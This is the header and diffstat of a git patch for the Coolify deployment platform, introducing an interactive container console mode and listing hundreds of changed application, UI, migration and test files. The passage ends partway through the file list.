From 6b07f031074e5821915818fad792c3ef66e24baa Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 14 Oct 2026 18:02:02 +0530 Subject: [PATCH 01/10] feat(terminal): interactive console mode for containers (docker attach) (#11538) Co-authored-by: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: rosslh --- .ai/lessons.md | 17 +- .env.development.example | 3 + .github/PULL_REQUEST_TEMPLATE/default.md | 13 + .github/PULL_REQUEST_TEMPLATE/version.md | 41 + .github/pull_request_template.md | 6 +- .../coolify-release-branch-build.yml | 144 +++ .github/workflows/sync-main-to-next.yml | 65 -- .github/workflows/sync-main-to-release.yml | 81 ++ AGENTS.md | 4 +- CONTRIBUTING.md | 7 +- DESIGN.md | 13 +- README.md | 1 + RELEASE.md | 50 +- app/Actions/CoolifyTask/RunRemoteProcess.php | 164 ++- app/Actions/Database/StartClickhouse.php | 8 +- app/Actions/Database/StartDatabaseProxy.php | 38 +- app/Actions/Database/StartDragonfly.php | 4 +- app/Actions/Database/StartKeydb.php | 4 +- app/Actions/Database/StartMariadb.php | 10 +- app/Actions/Database/StartMongodb.php | 8 +- app/Actions/Database/StartMysql.php | 10 +- app/Actions/Database/StartPostgresql.php | 10 +- app/Actions/Database/StartRedis.php | 6 +- app/Actions/Database/StartSqlite.php | 4 +- .../StartDevelopmentInstanceDatabase.php | 33 + .../Development/StartDevelopmentQemuVm.php | 19 +- app/Actions/Server/CleanupDocker.php | 20 +- .../Server/ConfigureTrafficAnalytics.php | 23 + app/Actions/Server/DeleteServer.php | 2 +- app/Actions/Server/UpdateCoolify.php | 48 + .../UpdateServiceApplicationFromApi.php | 4 + app/Actions/Shared/CheckDomainDns.php | 10 +- .../Shared/DeleteScheduledVolumeBackup.php | 22 +- .../SeedDevelopmentQemuServerCommand.php | 11 + app/Data/RepositoryDetectionResult.php | 69 ++ .../Api/ApplicationsController.php | 37 +- .../Api/Concerns/HandlesTagsApi.php | 2 +- .../Controllers/Api/DatabasesController.php | 264 +++-- .../Api/EnvironmentCanvasController.php | 264 +++++ app/Http/Controllers/Api/GithubController.php | 8 + app/Http/Controllers/Api/GitlabController.php | 8 + .../Controllers/Api/HetznerController.php | 2 +- app/Http/Controllers/Api/OtherController.php | 56 - .../Api/ProjectCanvasController.php | 54 + .../Controllers/Api/SecurityController.php | 3 +- .../Api/ServerCanvasController.php | 80 ++ .../Controllers/Api/ServerProxyController.php | 26 +- .../Controllers/Api/ServersController.php | 27 +- .../Api/ServiceApplicationsController.php | 10 +- .../Api/ServiceDatabasesController.php | 6 +- .../Controllers/Api/ServicesController.php | 35 +- .../Api/SharedVariableCanvasController.php | 199 ++++ .../Controllers/Api/TagCanvasController.php | 107 ++ .../Api/VolumeBackupsController.php | 52 +- .../Controllers/ProfileAvatarController.php | 14 +- app/Http/Controllers/TeamAvatarController.php | 22 + app/Http/Controllers/Webhook/Github.php | 62 +- app/Http/Kernel.php | 2 + app/Http/Middleware/ApiAllowed.php | 24 +- app/Http/Middleware/ApiIpAllowed.php | 35 + app/Http/Middleware/CanAccessTerminal.php | 2 +- .../Middleware/CheckForcePasswordReset.php | 2 +- app/Http/Middleware/ConfigurePasskeys.php | 28 + .../Middleware/RedirectIfAuthenticated.php | 2 +- .../Middleware/UseSessionTeamApiToken.php | 51 + app/Jobs/ApplicationDeploymentJob.php | 305 ++++-- app/Jobs/CoolifyTask.php | 9 +- app/Jobs/DatabaseBackupJob.php | 120 ++- app/Jobs/DeleteResourceJob.php | 2 +- app/Jobs/DockerCleanupJob.php | 7 +- app/Jobs/ProvisionGithubRunnerJob.php | 4 +- app/Jobs/ScheduledTaskJob.php | 53 +- app/Jobs/SendMessageToDiscordJob.php | 12 +- app/Jobs/SendMessageToPushoverJob.php | 15 +- app/Jobs/SendMessageToSlackJob.php | 29 +- app/Jobs/SendMessageToTelegramJob.php | 15 +- app/Jobs/SendWebhookJob.php | 12 +- app/Jobs/ServerFilesFromServerJob.php | 14 +- app/Jobs/VolumeBackupJob.php | 155 ++- app/Jobs/VolumeBackupRecoveryJob.php | 37 +- app/Livewire/Boarding/Index.php | 2 +- .../Concerns/BuildsMetricsChartPayload.php | 135 +++ app/Livewire/Concerns/CreatesEnvironments.php | 50 + app/Livewire/Concerns/CreatesTags.php | 39 + app/Livewire/Concerns/RemembersCanvasView.php | 72 ++ app/Livewire/DeployCanvas.php | 83 ++ app/Livewire/Fleet/Metrics.php | 311 ++++++ app/Livewire/GlobalSearch.php | 20 + app/Livewire/Profile/Passkeys.php | 70 ++ app/Livewire/Project/Application/Advanced.php | 87 +- .../Project/Application/Backup/Index.php | 2 +- app/Livewire/Project/Application/Domains.php | 20 +- app/Livewire/Project/Application/General.php | 2 +- app/Livewire/Project/CloneMe.php | 2 + app/Livewire/Project/Database/BackupEdit.php | 82 +- .../Project/Database/BackupExecutions.php | 8 +- .../Project/Database/ScheduledBackups.php | 2 +- app/Livewire/Project/EnvironmentCanvas.php | 41 + app/Livewire/Project/Index.php | 9 + .../Project/New/GithubPrivateRepository.php | 37 +- .../New/GithubPrivateRepositoryDeployKey.php | 21 +- .../Project/New/PublicGitRepository.php | 28 +- app/Livewire/Project/New/Select.php | 38 +- app/Livewire/Project/ProjectCanvas.php | 38 + app/Livewire/Project/ProjectsCanvas.php | 37 + app/Livewire/Project/Resource/Index.php | 11 + .../Project/Service/BackupExecutions.php | 17 +- app/Livewire/Project/Service/Domains.php | 2 +- app/Livewire/Project/Service/FileStorage.php | 1 + app/Livewire/Project/Service/Index.php | 45 +- .../Project/Service/VolumeBackup/Index.php | 4 +- .../Shared/EnvironmentVariable/All.php | 139 ++- .../Shared/EnvironmentVariable/Show.php | 70 ++ .../EnvironmentVariable/ShowHardcoded.php | 7 + .../Shared/ExecuteContainerCommand.php | 11 + app/Livewire/Project/Shared/GetLogs.php | 17 +- app/Livewire/Project/Shared/HealthChecks.php | 44 +- .../Project/Shared/ResourceOperations.php | 1 + .../Project/Shared/Storages/VolumeBackups.php | 89 +- app/Livewire/Project/Shared/Tags.php | 5 +- app/Livewire/Project/Shared/Terminal.php | 98 +- app/Livewire/Project/Show.php | 46 +- app/Livewire/Security/ApiTokens.php | 6 +- .../Security/IntegrationTokenEditor.php | 29 +- .../Security/IntegrationTokenForm.php | 29 +- app/Livewire/Security/IntegrationTokens.php | 1 + app/Livewire/Server/Canvas.php | 46 + app/Livewire/Server/Charts.php | 22 + app/Livewire/Server/CloudflareTunnel.php | 141 ++- .../Server/DockerCleanupExecutions.php | 14 +- app/Livewire/Server/DockerImages.php | 30 +- .../DockerRegistries/ServerRegistries.php | 9 +- app/Livewire/Server/Index.php | 11 +- app/Livewire/Server/New/ByHetzner.php | 2 +- app/Livewire/Server/New/ByIp.php | 1 + app/Livewire/Server/Proxy.php | 26 +- app/Livewire/Server/Resources.php | 5 + app/Livewire/Server/Show.php | 9 +- app/Livewire/Settings/Advanced.php | 6 + app/Livewire/SettingsBackup.php | 24 + app/Livewire/SharedVariables/Canvas.php | 147 +++ .../SharedVariables/Environment/Show.php | 5 + app/Livewire/SharedVariables/Project/Show.php | 5 + app/Livewire/SharedVariables/Server/Show.php | 5 + app/Livewire/SharedVariables/Team/Index.php | 5 + app/Livewire/Source/Github/Change.php | 11 +- app/Livewire/Source/Github/Create.php | 3 + app/Livewire/Source/Gitlab/Change.php | 11 +- app/Livewire/Source/Gitlab/Create.php | 4 + app/Livewire/Storage/Resources.php | 102 +- app/Livewire/Storage/Show.php | 6 +- app/Livewire/SwitchTeam.php | 2 + app/Livewire/Tags/Canvas.php | 39 + app/Livewire/Tags/Show.php | 27 + app/Livewire/Team/Index.php | 39 + app/Livewire/Upgrade.php | 2 +- app/Logging/RedactSensitiveAuditData.php | 19 + app/Logging/RedactSensitiveData.php | 76 ++ app/Mcp/Concerns/BuildsResponse.php | 30 +- app/Mcp/Concerns/CallsRestApi.php | 170 ++++ app/Mcp/Concerns/ChecksTokenAbilities.php | 17 + app/Mcp/Concerns/ResolvesTeam.php | 12 + app/Mcp/Servers/CoolifyServer.php | 84 +- app/Mcp/Tools/CancelDeployment.php | 13 + app/Mcp/Tools/CloudProvider.php | 72 ++ app/Mcp/Tools/Control.php | 82 +- app/Mcp/Tools/CoolifyHelp.php | 266 ++--- app/Mcp/Tools/CreateApplication.php | 39 + app/Mcp/Tools/CreateDatabase.php | 39 + app/Mcp/Tools/CreateService.php | 34 + app/Mcp/Tools/Deploy.php | 76 +- app/Mcp/Tools/DockerCleanup.php | 37 + app/Mcp/Tools/GetApplication.php | 2 + app/Mcp/Tools/GetApplicationPreview.php | 34 + app/Mcp/Tools/GetCurrentTeam.php | 2 + app/Mcp/Tools/GetDatabase.php | 2 + app/Mcp/Tools/GetDatabaseImport.php | 32 + app/Mcp/Tools/GetDeployment.php | 2 + app/Mcp/Tools/GetDestination.php | 2 + app/Mcp/Tools/GetEnvValues.php | 36 + app/Mcp/Tools/GetEnvironment.php | 2 + app/Mcp/Tools/GetInfrastructureOverview.php | 2 + app/Mcp/Tools/GetLogs.php | 33 +- app/Mcp/Tools/GetProject.php | 2 + app/Mcp/Tools/GetServer.php | 2 + app/Mcp/Tools/GetServerDomains.php | 21 +- app/Mcp/Tools/GetServerMetrics.php | 136 +++ app/Mcp/Tools/GetServerResources.php | 2 + app/Mcp/Tools/GetService.php | 2 + app/Mcp/Tools/GetServiceApplication.php | 2 + app/Mcp/Tools/GetServiceDatabase.php | 2 + app/Mcp/Tools/ListApplicationPreviews.php | 2 + app/Mcp/Tools/ListApplications.php | 2 + app/Mcp/Tools/ListAuditEvents.php | 30 + app/Mcp/Tools/ListBackupExecutions.php | 2 + app/Mcp/Tools/ListDatabaseBackups.php | 4 + app/Mcp/Tools/ListDatabases.php | 2 + app/Mcp/Tools/ListDeployments.php | 2 + app/Mcp/Tools/ListDestinations.php | 2 + app/Mcp/Tools/ListEnvKeys.php | 2 + app/Mcp/Tools/ListGithubApps.php | 2 + app/Mcp/Tools/ListGithubBranches.php | 4 + app/Mcp/Tools/ListGithubRepositories.php | 4 + app/Mcp/Tools/ListProjects.php | 2 + app/Mcp/Tools/ListResourceTags.php | 2 + app/Mcp/Tools/ListResources.php | 2 + app/Mcp/Tools/ListRollbackImages.php | 27 + app/Mcp/Tools/ListScheduledTaskExecutions.php | 2 + app/Mcp/Tools/ListScheduledTasks.php | 2 + app/Mcp/Tools/ListServers.php | 2 + app/Mcp/Tools/ListServiceApplications.php | 2 + app/Mcp/Tools/ListServiceDatabases.php | 2 + app/Mcp/Tools/ListServiceTemplates.php | 72 ++ app/Mcp/Tools/ListServices.php | 2 + app/Mcp/Tools/ListSharedEnvKeys.php | 2 + app/Mcp/Tools/ListStorages.php | 2 + app/Mcp/Tools/ListTags.php | 2 + app/Mcp/Tools/ListTeamMembers.php | 2 + app/Mcp/Tools/ListUnhealthyResources.php | 2 + app/Mcp/Tools/ManageApplication.php | 40 + app/Mcp/Tools/ManageBackup.php | 39 + app/Mcp/Tools/ManageDatabase.php | 38 + app/Mcp/Tools/ManageDestination.php | 37 + app/Mcp/Tools/ManageEnv.php | 54 + app/Mcp/Tools/ManageGitSource.php | 37 + app/Mcp/Tools/ManageNotifications.php | 44 + app/Mcp/Tools/ManagePreview.php | 37 + app/Mcp/Tools/ManagePrivateKey.php | 38 + app/Mcp/Tools/ManageProject.php | 40 + app/Mcp/Tools/ManageProxy.php | 37 + app/Mcp/Tools/ManageRegistry.php | 38 + app/Mcp/Tools/ManageS3Storage.php | 39 + app/Mcp/Tools/ManageScheduledTask.php | 50 + app/Mcp/Tools/ManageServer.php | 37 + app/Mcp/Tools/ManageService.php | 42 + app/Mcp/Tools/ManageSharedEnv.php | 53 + app/Mcp/Tools/ManageStorage.php | 52 + app/Mcp/Tools/ManageTags.php | 47 + app/Mcp/Tools/RestActionTool.php | 164 +++ app/Mcp/Tools/RollbackApplication.php | 34 + app/Mcp/Tools/SearchResources.php | 2 + app/Models/Application.php | 108 +- app/Models/ApplicationDeploymentQueue.php | 154 +-- app/Models/ApplicationPreview.php | 4 + app/Models/ApplicationSetting.php | 5 + app/Models/DatabaseBackupS3Replica.php | 38 + app/Models/DiscordNotificationSettings.php | 13 +- app/Models/EmailNotificationSettings.php | 14 + app/Models/Environment.php | 18 + app/Models/EnvironmentVariable.php | 272 ++++- app/Models/InstanceSettings.php | 4 + app/Models/IntegrationToken.php | 45 + app/Models/PushoverNotificationSettings.php | 13 +- app/Models/ResourceLink.php | 37 + app/Models/S3Storage.php | 57 +- app/Models/ScheduledDatabaseBackup.php | 11 +- .../ScheduledDatabaseBackupExecution.php | 9 + app/Models/ScheduledVolumeBackup.php | 9 + app/Models/ScheduledVolumeBackupExecution.php | 9 + app/Models/Server.php | 61 +- app/Models/ServerSetting.php | 19 +- app/Models/Service.php | 37 +- app/Models/ServiceApplication.php | 1 + app/Models/ServiceDatabase.php | 2 +- app/Models/SlackNotificationSettings.php | 13 +- app/Models/StandaloneClickhouse.php | 6 +- app/Models/StandaloneDragonfly.php | 6 +- app/Models/StandaloneKeydb.php | 6 +- app/Models/StandaloneMariadb.php | 6 +- app/Models/StandaloneMongodb.php | 6 +- app/Models/StandaloneMysql.php | 6 +- app/Models/StandalonePostgresql.php | 6 +- app/Models/StandaloneRedis.php | 27 +- app/Models/StandaloneSqlite.php | 3 +- app/Models/Tag.php | 8 - app/Models/Team.php | 5 + app/Models/TelegramNotificationSettings.php | 13 +- app/Models/User.php | 18 +- app/Models/VolumeBackupS3Replica.php | 38 + app/Models/WebhookNotificationSettings.php | 13 +- app/Notifications/Channels/DiscordChannel.php | 2 +- app/Notifications/Channels/EmailChannel.php | 47 +- .../Channels/PushoverChannel.php | 2 +- app/Notifications/Channels/SlackChannel.php | 2 +- .../Channels/TelegramChannel.php | 2 +- app/Notifications/Channels/WebhookChannel.php | 2 +- app/Policies/ApplicationPolicy.php | 18 - app/Policies/ApplicationPreviewPolicy.php | 10 - app/Policies/GithubAppPolicy.php | 8 + app/Policies/GitlabAppPolicy.php | 8 + app/Policies/ResourceCreatePolicy.php | 49 - app/Policies/ServicePolicy.php | 10 - app/Providers/AppServiceProvider.php | 7 + app/Providers/EventServiceProvider.php | 12 + app/Providers/FortifyServiceProvider.php | 7 +- app/Providers/RouteServiceProvider.php | 4 + app/Rules/SafeWebhookUrl.php | 8 +- app/Rules/ValidGitRepositoryUrl.php | 28 +- app/Rules/ValidServerIp.php | 8 +- app/Services/CloudflareTokenValidator.php | 29 +- app/Services/CloudflareTunnelService.php | 283 ++++++ app/Services/ConfigurationRepository.php | 2 +- app/Services/CoolifyUpgradeStatus.php | 32 + app/Services/DatabaseStartCommandExecutor.php | 44 +- .../ApplicationConfigurationSnapshot.php | 1 + app/Services/Dns/CloudflareDnsProvider.php | 83 +- app/Services/DockerRegistryLogins.php | 15 +- app/Services/EnvironmentCanvas.php | 380 +++++++ app/Services/FleetMetricsAggregator.php | 136 +++ app/Services/HetznerService.php | 11 +- app/Services/InfisicalService.php | 4 + app/Services/ProjectCanvas.php | 106 ++ app/Services/RepositoryDetector.php | 129 +++ .../Security/SensitiveDataRedactor.php | 325 ++++++ app/Services/SentinelMetricsClient.php | 230 +++++ app/Services/ServerCanvas.php | 142 +++ .../ServerTransfer/ServerTransferExporter.php | 27 +- .../ServerTransfer/ServerTransferImporter.php | 40 +- .../ServerTransfer/ServerTransferMigrator.php | 16 +- app/Services/SharedVariableCanvas.php | 297 ++++++ app/Services/TagCanvas.php | 120 +++ app/Services/TeamAvatarStorageService.php | 76 ++ app/Services/TerminalSessionService.php | 37 +- app/Support/AtomicFilesystem.php | 51 + .../DatabaseImportCommandBuilder.php | 59 +- app/Support/DomainFavicon.php | 8 + app/Support/Metrics/PressureLevel.php | 39 + app/Support/PasskeyRelyingParty.php | 49 + app/Support/PostgresUser.php | 54 + app/Support/ResourceStartActivity.php | 4 +- app/Support/SmtpTransportFactory.php | 2 +- app/Support/ValidationPatterns.php | 23 +- app/Traits/ExecuteRemoteCommand.php | 188 ++-- app/Traits/ExecutesDatabaseStartCommands.php | 11 + app/Traits/HandlesNotificationResponse.php | 73 ++ app/Traits/HasLogRedactionSetting.php | 23 + app/Traits/HasMetrics.php | 72 +- app/Traits/HasRepositoryDetection.php | 273 +++++ app/Traits/HasS3Destinations.php | 68 ++ app/Traits/HasS3Replicas.php | 75 ++ app/Traits/HasSecretManager.php | 111 +- app/Traits/TracksDeliveryFailures.php | 141 +++ bootstrap/helpers/api.php | 11 +- bootstrap/helpers/applications.php | 10 +- bootstrap/helpers/databases.php | 250 +++-- bootstrap/helpers/docker.php | 83 +- bootstrap/helpers/parsers.php | 319 ++++-- bootstrap/helpers/remoteProcess.php | 41 +- bootstrap/helpers/services.php | 96 ++ bootstrap/helpers/shared.php | 370 ++++++- bootstrap/helpers/subscriptions.php | 6 + config/app.php | 2 + config/constants.php | 10 +- config/deprecations.php | 1 + config/development-qemu.php | 3 +- config/fortify.php | 23 +- config/logging.php | 25 + ...ct_all_env_values_in_logs_to_resources.php | 34 + ...scaping_to_environment_variables_table.php | 38 + ...e_tunnel_api_fields_to_server_settings.php | 31 + ...00_create_backup_s3_destination_tables.php | 126 +++ ...10_09_092903_normalize_ipv6_server_ips.php | 93 ++ ...e_redis_username_environment_variables.php | 42 + ...cks_node_version_environment_variables.php | 42 + ...cate_resolver_to_server_settings_table.php | 82 ++ ...er_to_application_and_service_settings.php | 34 + ..._compose_null_to_environment_variables.php | 36 + ...ate_enabled_to_instance_settings_table.php | 28 + ..._count_to_notification_settings_tables.php | 45 + ...id_index_to_application_settings_table.php | 36 + ...026_10_12_164601_create_passkeys_table.php | 42 + ...canvas_positions_to_environments_table.php | 22 + ..._12_192445_create_resource_links_table.php | 29 + ...values_in_logs_to_standalone_databases.php | 50 + ...2049_add_avatar_columns_to_teams_table.php | 31 + database/seeders/ApplicationSeeder.php | 160 +-- .../seeders/ApplicationSettingsSeeder.php | 7 - database/seeders/DatabaseSeeder.php | 6 - .../DevelopmentRailpackExamplesSeeder.php | 604 ----------- database/seeders/ProductionSeeder.php | 1 - database/seeders/ServerSettingSeeder.php | 17 +- docker/coolify-terminal/terminal-server.js | 17 + docker/coolify-terminal/terminal-utils.js | 56 + .../coolify-terminal/terminal-utils.test.js | 72 ++ docker/development/Dockerfile | 2 +- docker/production/Dockerfile | 7 +- .../user/contents.d/db-migration | 0 .../user/contents.d/horizon | 0 .../user/contents.d/init-script | 0 .../user/contents.d/init-seeder | 0 .../user/contents.d/reverb | 0 .../user/contents.d/scheduler-worker | 0 .../user/contents.d/terminal-server | 0 openapi.json | 227 +++-- openapi.yaml | 144 ++- other/nightly/docker-compose.windows.yml | 1 + other/nightly/versions.json | 2 +- package-lock.json | 266 ++++- package.json | 3 + public/svgs/resources/docker-compose.svg | 11 +- public/svgs/resources/docker-image.svg | 11 +- public/svgs/resources/dockerfile.svg | 10 +- resources/css/app.css | 612 ++++++++++- resources/js/app.js | 43 + resources/js/canvas-core.js | 246 +++++ .../js/canvas/deploy/DeployCanvas.svelte | 165 +++ resources/js/canvas/deploy/Dropdown.svelte | 137 +++ resources/js/canvas/deploy/Edges.svelte | 48 + resources/js/canvas/deploy/Field.svelte | 105 ++ resources/js/canvas/deploy/Icon.svelte | 25 + resources/js/canvas/deploy/Node.svelte | 104 ++ resources/js/canvas/deploy/PaletteItem.svelte | 21 + resources/js/canvas/deploy/RunPanel.svelte | 48 + resources/js/canvas/deploy/index.js | 18 + resources/js/canvas/deploy/state.svelte.js | 661 ++++++++++++ resources/js/canvas/deploy/styles.js | 319 ++++++ .../js/canvas/environment/AddSection.svelte | 40 + resources/js/canvas/environment/Card.svelte | 116 +++ .../environment/EnvironmentCanvas.svelte | 960 ++++++++++++++++++ resources/js/canvas/environment/Icon.svelte | 10 + .../js/canvas/environment/NodeIcon.svelte | 37 + resources/js/canvas/environment/Panel.svelte | 324 ++++++ .../js/canvas/environment/StatusDot.svelte | 13 + .../js/canvas/environment/Toolbar.svelte | 51 + resources/js/canvas/environment/Zone.svelte | 32 + resources/js/canvas/environment/index.js | 11 + resources/js/deploy-canvas.js | 510 ++++++++++ resources/js/deploy-canvas.test.js | 178 ++++ resources/js/environment-canvas.js | 621 +++++++++++ resources/js/environment-canvas.test.js | 437 ++++++++ resources/js/passkeys.js | 22 + resources/js/runtime-logs.js | 58 +- resources/js/terminal.browser.test.js | 45 + resources/js/terminal.js | 211 +++- resources/js/terminal.test.js | 78 ++ .../views/auth/confirm-password.blade.php | 5 + resources/views/auth/login.blade.php | 10 +- .../components/api-disabled-callout.blade.php | 14 + .../application/settings-section.blade.php | 3 +- .../components/applications/links.blade.php | 8 +- .../components/auth/passkey-verify.blade.php | 55 + .../components/canvas-view-toggle.blade.php | 51 + .../components/dashboard/navbar.blade.php | 2 +- .../components/deploying-indicator.blade.php | 2 - .../views/components/forms/listbox.blade.php | 30 +- .../components/forms/monaco-editor.blade.php | 6 +- .../forms/repository-paths.blade.php | 47 + .../views/components/forms/textarea.blade.php | 2 +- resources/views/components/navbar.blade.php | 19 +- .../nixpacks-deprecated-callout.blade.php | 3 + resources/views/components/reicon.blade.php | 3 + .../views/components/resource-logo.blade.php | 31 + .../components/server-timing-hud.blade.php | 7 +- .../views/components/server/sidebar.blade.php | 27 +- .../shared-variables/editor.blade.php | 8 + .../shared-variables/layout.blade.php | 25 +- .../shared-variables/sidebar.blade.php | 24 + .../views/components/skeleton/cards.blade.php | 23 + .../views/components/skeleton/form.blade.php | 15 + .../views/components/skeleton/list.blade.php | 25 + .../views/components/skeleton/logs.blade.php | 30 + .../skeleton/settings-sections.blade.php | 20 + .../views/components/status-badge.blade.php | 22 +- .../views/components/team/avatar.blade.php | 10 + .../terminal/mode-selector.blade.php | 49 + .../views/components/theme-controls.blade.php | 138 +++ .../views/components/top-breadcrumb.blade.php | 2 +- .../views/components/top-user-menu.blade.php | 14 +- .../notification-channel-disabled.blade.php | 8 + resources/views/layouts/app.blade.php | 51 +- resources/views/layouts/base.blade.php | 16 +- resources/views/livewire/dashboard.blade.php | 20 +- .../views/livewire/deploy-canvas.blade.php | 31 + .../livewire/fleet/_usage-cell.blade.php | 12 + .../fleet/metrics-placeholder.blade.php | 38 + .../views/livewire/fleet/metrics.blade.php | 431 ++++++++ .../views/livewire/global-search.blade.php | 2 +- .../views/livewire/profile/index.blade.php | 2 + .../views/livewire/profile/passkeys.blade.php | 104 ++ .../project/application/advanced.blade.php | 19 + .../application/backup/index.blade.php | 7 +- .../application/deployment/index.blade.php | 2 +- .../application/deployment/show.blade.php | 4 +- .../project/application/general.blade.php | 83 +- .../project/application/heading.blade.php | 8 +- .../project/application/previews.blade.php | 4 +- .../project/application/rollback.blade.php | 5 +- .../project/database/backup-edit/s3.blade.php | 11 +- .../database/backup-executions.blade.php | 31 +- .../database/scheduled-backups.blade.php | 9 +- .../project/environment-canvas.blade.php | 37 + .../views/livewire/project/index.blade.php | 32 +- ...ub-private-repository-deploy-key.blade.php | 50 +- .../new/github-private-repository.blade.php | 50 +- .../new/gitlab-private-repository.blade.php | 31 +- .../new/partials/env-import-modal.blade.php | 31 + .../new/partials/smart-scan-summary.blade.php | 73 ++ .../new/public-git-repository.blade.php | 50 +- .../livewire/project/new/select.blade.php | 27 +- .../partials/new-environment-form.blade.php | 11 + .../livewire/project/project-canvas.blade.php | 38 + .../project/projects-canvas.blade.php | 31 + .../livewire/project/resource/index.blade.php | 58 +- .../service/advanced-settings.blade.php | 14 + .../project/service/file-storage.blade.php | 4 +- .../service/volume-backup/index.blade.php | 16 +- .../shared/environment-variable/all.blade.php | 63 +- .../show-hardcoded.blade.php | 16 +- .../environment-variable/show.blade.php | 46 +- .../execute-container-command.blade.php | 27 +- .../project/shared/get-logs.blade.php | 279 +++-- .../livewire/project/shared/logs.blade.php | 11 +- .../shared/secret-manager-links.blade.php | 10 +- .../volume-backups/executions.blade.php | 27 +- .../storages/volume-backups/s3.blade.php | 12 +- .../project/shared/terminal.blade.php | 40 +- .../project/shared/webhooks.blade.php | 4 + .../views/livewire/project/show.blade.php | 40 +- .../livewire/security/api-tokens.blade.php | 23 +- .../integration-token-editor.blade.php | 19 +- .../security/integration-token-form.blade.php | 19 +- .../views/livewire/server/canvas.blade.php | 44 + .../views/livewire/server/charts.blade.php | 85 +- .../server/cloudflare-tunnel.blade.php | 188 ++-- .../livewire/server/docker-images.blade.php | 22 +- .../server-registries-placeholder.blade.php | 12 + .../livewire/server/github-runners.blade.php | 13 + .../views/livewire/server/index.blade.php | 35 +- .../views/livewire/server/navbar.blade.php | 4 +- .../server/new/by-digital-ocean.blade.php | 4 +- .../livewire/server/new/by-hetzner.blade.php | 4 +- .../server/new/by-hostinger.blade.php | 13 +- .../livewire/server/new/by-vultr.blade.php | 4 +- .../partials/localhost-general.blade.php | 35 +- .../server/private-key/show.blade.php | 10 +- .../views/livewire/server/proxy.blade.php | 16 +- .../server/proxy/certificates.blade.php | 6 +- .../proxy/dynamic-configurations.blade.php | 6 +- .../proxy/new-dynamic-configuration.blade.php | 3 +- .../views/livewire/server/resources.blade.php | 11 +- .../views/livewire/server/show.blade.php | 28 +- .../views/livewire/settings-backup.blade.php | 15 +- .../views/livewire/settings-oauth.blade.php | 6 +- .../livewire/settings/advanced.blade.php | 10 +- .../views/livewire/settings/index.blade.php | 2 +- .../shared-variables/canvas.blade.php | 31 + .../environment/index.blade.php | 2 +- .../shared-variables/project/index.blade.php | 6 +- .../livewire/source/github/change.blade.php | 6 + .../livewire/source/github/create.blade.php | 2 +- .../source/github/permissions.blade.php | 9 + .../livewire/source/gitlab/change.blade.php | 14 +- .../livewire/source/gitlab/create.blade.php | 2 +- .../livewire/storage/resources.blade.php | 14 +- .../livewire/subscription/index.blade.php | 4 +- .../views/livewire/switch-team.blade.php | 8 +- .../views/livewire/tags/canvas.blade.php | 29 + .../tags/partials/new-tag-form.blade.php | 7 + resources/views/livewire/tags/show.blade.php | 70 +- resources/views/livewire/team/index.blade.php | 61 ++ .../views/livewire/team/member.blade.php | 13 +- .../views/livewire/terminal/index.blade.php | 19 +- .../livewire/traffic/_sparkline.blade.php | 20 +- resources/views/livewire/upgrade.blade.php | 58 +- routes/ai.php | 2 +- routes/api.php | 4 +- routes/web.php | 93 ++ scripts/railpack-smoke.sh | 32 +- .../Api/ApplicationSettingsApiTest.php | 96 ++ .../Api/BackupS3DestinationsApiTest.php | 292 ++++++ tests/Feature/Api/DomainsByServerApiTest.php | 17 + tests/Feature/Api/HetznerApiTest.php | 41 + tests/Feature/Api/LifecycleApisTest.php | 15 + tests/Feature/Api/PrivateKeyUpdateApiTest.php | 64 ++ .../RedisFamilyDatabaseListQueryCountTest.php | 6 +- tests/Feature/Api/ServerProxyApiTest.php | 31 + .../Api/StateChangingRoutesUsePostTest.php | 1 - tests/Feature/ApiDisabledCalloutTest.php | 96 ++ .../Application/GithubSourceChangeTest.php | 29 + .../Application/GithubSourceCreateTest.php | 4 +- ...ationDeploymentControlVarFilteringTest.php | 600 +++++++++-- tests/Feature/ApplicationDomainsTest.php | 40 + ...pplicationGeneralBuildpackSelectorTest.php | 20 + .../ApplicationNetworkNameVariableTest.php | 28 +- ...licationParserDockerComposeDomainsTest.php | 96 ++ tests/Feature/ApplicationSeederTest.php | 85 +- tests/Feature/AtomicFilesystemTest.php | 53 + tests/Feature/Auth/PasskeyAccessTest.php | 98 ++ .../Auth/PasskeyInstanceToggleTest.php | 39 + .../Feature/Auth/PasskeyRelyingPartyTest.php | 100 ++ tests/Feature/Auth/PasskeySetupTest.php | 42 + .../EnvironmentVariableValueHidingTest.php | 183 ++++ .../BackupAndNotificationRedactionTest.php | 263 +++++ tests/Feature/BackupEditValidationTest.php | 6 +- ...BackupExecutionMessageRedactionApiTest.php | 70 ++ .../BackupRetentionAndStaleDetectionTest.php | 2 + tests/Feature/BackupRunSafetyTest.php | 28 +- .../BackupS3DestinationRedactionTest.php | 168 +++ .../Feature/BackupS3DestinationsFormTest.php | 322 ++++++ ...oneApplicationEnvironmentVariablesTest.php | 81 ++ .../Feature/CloudflareTunnelApiSetupTest.php | 470 +++++++++ tests/Feature/ComposeLongBindOptionsTest.php | 182 ++++ .../Feature/ContainerOwnerUuidLabelsTest.php | 37 +- ...tabaseBackupMultipleS3DestinationsTest.php | 434 ++++++++ ...DatabaseEnvironmentVariableComposeTest.php | 174 ++++ .../Feature/DatabaseStartContentFilesTest.php | 99 ++ ...seStartDefaultEnvironmentVariablesTest.php | 108 ++ tests/Feature/DeployCanvasPageTest.php | 172 ++++ .../DeploymentCommitMessageReuseTest.php | 84 ++ .../DeploymentSensitiveCommandFailureTest.php | 4 +- tests/Feature/DevEnvironmentExampleTest.php | 9 - tests/Feature/DevHostDockerPathTest.php | 14 +- tests/Feature/DevelopmentQemuVmTest.php | 53 +- .../DevelopmentRailpackExamplesSeederTest.php | 136 --- tests/Feature/DnsProviderManagementTest.php | 17 + tests/Feature/DnsValidationTest.php | 40 + ...ckerCleanupExecutionsAuthorizationTest.php | 60 ++ tests/Feature/DockerCleanupJobTest.php | 37 +- tests/Feature/EnvironmentCanvasTest.php | 439 ++++++++ .../EnvironmentVariableAsyncLoadTest.php | 4 +- .../EnvironmentVariableBulkCommentApiTest.php | 47 + .../EnvironmentVariableCopyValueTest.php | 3 + .../EnvironmentVariableLegacyEscapingTest.php | 362 +++++++ .../Feature/EnvironmentVariableSearchTest.php | 495 +++++++++ tests/Feature/GetLogsExportRedactionTest.php | 220 ++++ .../Feature/GitHttpTransportCommandsTest.php | 